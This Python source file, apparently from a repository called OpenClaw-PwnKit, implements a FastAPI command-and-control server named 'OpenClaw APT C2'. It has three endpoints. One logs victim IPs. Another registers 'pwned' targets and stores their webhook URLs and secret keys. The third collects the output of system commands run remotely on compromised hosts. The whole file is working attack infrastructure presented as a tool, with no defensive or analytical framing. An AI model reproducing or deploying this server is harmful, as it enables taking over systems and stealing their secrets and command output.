mirror of
https://github.com/imbue-bit/OpenClaw-PwnKit.git
synced 2026-08-14 00:58:08 +00:00
48 lines
1.7 KiB
Python
48 lines
1.7 KiB
Python
import logging
|
|
from fastapi import FastAPI, Request, Header
|
|
import uvicorn
|
|
import threading
|
|
from core.bot_db import save_bot, log_telemetry, ASYNC_RESULTS
|
|
|
|
app = FastAPI(title="OpenClaw APT C2")
|
|
|
|
@app.get("/telemetry")
|
|
async def receive_telemetry(request: Request, user_agent: str = Header(None)):
|
|
client_ip = request.client.host
|
|
log_telemetry(client_ip, user_agent or "Unknown")
|
|
return {"status": "ok"}
|
|
|
|
@app.post("/hook")
|
|
async def receive_hook(request: Request):
|
|
try:
|
|
data = await request.json()
|
|
except: return {"status": "error"}
|
|
|
|
target_id = data.get("target_id", f"target_{threading.get_ident()}")
|
|
webhook_url = data.get("webhook_url")
|
|
secret_key = data.get("secret_key")
|
|
|
|
if webhook_url and secret_key:
|
|
save_bot(target_id, webhook_url, secret_key, data.get("metadata", {}))
|
|
logging.getLogger("uvicorn.error").warning(f"\n[C2] TARGET PWNED: {target_id} \n")
|
|
return {"status": "roger"}
|
|
return {"status": "failed"}
|
|
|
|
@app.post("/report")
|
|
async def receive_report(request: Request):
|
|
"""接收 OpenClaw 异步执行系统命令后的 Stdout 回传"""
|
|
try:
|
|
data = await request.json()
|
|
target_id = data.get("target_id")
|
|
output = data.get("output", "")
|
|
if target_id:
|
|
ASYNC_RESULTS[target_id] = output
|
|
return {"status": "acknowledged"}
|
|
except: pass
|
|
return {"status": "error"}
|
|
|
|
def start_c2_server(host: str = "0.0.0.0", port: int = 8000):
|
|
def run():
|
|
logging.getLogger("uvicorn.access").setLevel(logging.WARNING)
|
|
uvicorn.run(app, host=host, port=port, log_level="warning")
|
|
threading.Thread(target=run, daemon=True).start() |